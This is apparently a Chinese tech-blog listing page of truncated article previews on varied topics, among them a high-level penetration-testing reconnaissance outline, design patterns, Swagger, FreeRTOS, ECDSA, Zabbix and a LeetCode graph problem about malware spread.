渗透测试信息收集

一、渗透信息收集流程 渗透测试过程前期&#xff0c;需要大量的完善的网站业务信息收集工作&#xff0c;大致信息收集流程为 1、网站域名信息探测 2、网站子域信息探测 3、网站敏感信息收集 4、网站安全工具核实 5、网站旁站利用情况 6、网站业务资产梳理 二、网站域名信息探…

【行为型模式】策略模式

一、策略模式概述 策略模式(又叫政策Policy模式)&#xff0c;属于对象行为模式下的&#xff1a;Strategy类提供了可插入式(Pluggable)算法的实现方案。 策略模式的定义-意图&#xff1a;定义一系列算法&#xff0c;将每一个算法封装起来&#xff0c;并让它们互相替换。策略模式…

.NET MVC API Swagger 自动生成API文档入坑

开发环境 Win10 VS2022 .NET8.0 1.从NuGet添加Swagger 在解决方案资源管理器中右键单击项目>管理 NuGet 包 将包源设置为“nuget.org” 确保启用“包括预发行”选项 在搜索框中输入“Swashbuckle.AspNetCore” 从“浏览”选项卡中选择最新的“Swashbuckle.AspNetCore”包&a…

OCCT几何内核开发-TopoDS_Shape

如果要基于OCCT几何内核搞建模算法&#xff0c;特别是想开发自己的算法&#xff0c;需要深刻理解拓扑与几何的关系、相关的数据结构&#xff0c;TopoDS_Shape、TopoDS_TShape、BRep_TFace、Tolerances等。 一个简单Box的数据结构 两个面缝合&#xff08;Sewing&#xff09;后的…

优惠券布局的最终方案------css属性mask

先贴图&#xff1a; 以上这些都是通过mask去实现出来&#xff1a; <!DOCTYPE html><html lang"zh-CN"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"&g…

【多模态检索】Coarse-to-Fine Visual Representation

快手文本视频多模态检索论文 论文&#xff1a;Towards Efficient and Effective Text-to-Video Retrieval with Coarse-to-Fine Visual Representation Learning 链接&#xff1a;https://arxiv.org/abs/2401.00701 摘要 近些年&#xff0c;基于CLIP的text-to-video检索方法…

FreeRTOS_day1

1.总结keil5下载代码和编译代码需要注意的事项 下载代码前要对仿真进行设置 勾选后代码会立刻执行 勾选后会导致代码不能执行 写代码的时候要写在对应的begin和end之间&#xff0c;否则会被覆盖 2.总结STM32Cubemx的使用方法和需要注意的事项 ①打开软件&#xff0c;新建工程…

初学python记录:力扣924. 尽量减少恶意软件的传播

题目&#xff1a; 给出了一个由 n 个节点组成的网络&#xff0c;用 n n 个邻接矩阵图 graph 表示。在节点网络中&#xff0c;当 graph[i][j] 1 时&#xff0c;表示节点 i 能够直接连接到另一个节点 j。 一些节点 initial 最初被恶意软件感染。只要两个节点直接连接&#x…

BK9535可替代BK9531 BEKEN博通 无线高品质语音发射传输芯片 提供开发资料

概 述 BK9531已经停产&#xff0c;厂家推出升级替代芯片BK9535 BK9535芯片是用于无线高品质语音发射传输的芯片&#xff0c;芯片覆盖频段范围为&#xff1a;V段&#xff08;160~270MHz&#xff09;、U段&#xff08;450~980MHz&#xff09;、1G频段&#xff08;980~1176MHz&a…

一款可自动跳广告的安卓App开源项目

开放权限有风险&#xff0c;使用App需谨慎&#xff01; gkd 基于 无障碍 高级选择器 订阅规则 的自定义屏幕点击 APP 功能 基于 高级选择器 订阅规则 快照审查, 它可以实现 点击跳过任意开屏广告/点击关闭应用内部任意弹窗广告, 如关闭百度贴吧帖子广告卡片/知乎回答底…

HarmonyOS开发案例:【智能煤气检测】

样例简介 智能煤气检测系统通过实时监测环境中烟雾浓度&#xff0c;当一氧化碳浓度超标时&#xff0c;及时向用户发出警报。在连接网络后&#xff0c;配合数字管家应用&#xff0c;用户可以远程配置智能煤气检测系统的报警阈值&#xff0c;远程接收智能煤气检测系统报警信息。…

华为再次布局新行业:合作伙伴已超前谋划,该领域将大有可为

华为布局新行业 华为向外界公布了一个重要信息&#xff1a;在过去的三年里&#xff0c;尽管受到美国的制裁&#xff0c;华为仍然成功地完成了超过13000个元器件的国产替代研发&#xff0c;以及4000多块电路板的迭代开发。 不仅在硬件领域取得了显著成就&#xff0c;在软件和生…

AutoMQ 登顶 Hacker News: 开源项目流量的第一桶金以及经验分享

01 事件回顾 2024 年 4 月 8 日中午&#xff0c;随着 AutoMQ 的一则简短的标题内容&#xff1a;Show HN: AutoMQ - A Cost-Effective Kafka Distro That Can Autoscale in Seconds[1] 成功登顶 Hacker News &#xff08;HN&#xff09; &#xff0c;我们迎来了大量优质、精准的…

为什么一开始不被看好的单片机,现在概括了所有数据产品行业?

这主要归因于技术和认知的局限。 在其发展初期&#xff0c;单片机的性能、存储容量以及开发工具都颇为有限&#xff0c;难以契合复杂应用的种种需求。彼时&#xff0c;许多人确实难以洞察到它的未来走向。 然而&#xff0c;时过境迁&#xff0c;人们逐步领悟到了单片机在各个…

密码学 | 椭圆曲线数字签名方法 ECDSA(下)

目录 10 ECDSA 算法 11 创建签名 12 验证签名 13 ECDSA 的安全性 14 随机 k 值的重要性 15 结语 ⚠️ 原文&#xff1a;Understanding How ECDSA Protects Your Data. ⚠️ 写在前面&#xff1a;本文属于搬运博客&#xff0c;自己留着学习。同时&#xff0c;经过几…

部署Zabbix代理服务器

目录 1.准备环境 2.设置 zabbix 的下载源 3.安装 zabbix 所需的数据库 3.1添加数据库用户&#xff0c;以及 zabbix 所需的数据库信息 3.2导入数据库信息 4.修改 zabbix-proxy 配置文件 5.启动 zabbix-proxy 6.在所有主机上配置 hosts 解析 7.在 Web 页面配置 agent 代…

市面上加密混淆软件的比较和推荐

引言 市面上有许多加密混淆软件可供开发者使用&#xff0c;但哪些软件是最好用的&#xff1f;哪些软件受到开发者的喜爱&#xff1f;本文将根据一次在CSDN上的投票结果&#xff0c;为大家介绍几款在程序员中普及度较高的加密软件。以下是投票结果&#xff0c;希望能对大家的选择…

什么是组网?如何远程组网?

在当今数字化时代&#xff0c;组网已成为企业提高工作效率、节省时间和成本的关键技术。组网是将多台计算机或其他网络设备连接起来&#xff0c;形成一个互联互通的网络系统。本文将概述组网的主要目的、实现方式及其价值&#xff0c;并深入分析远程组网策略。 1. 组网目的与价…
最新文章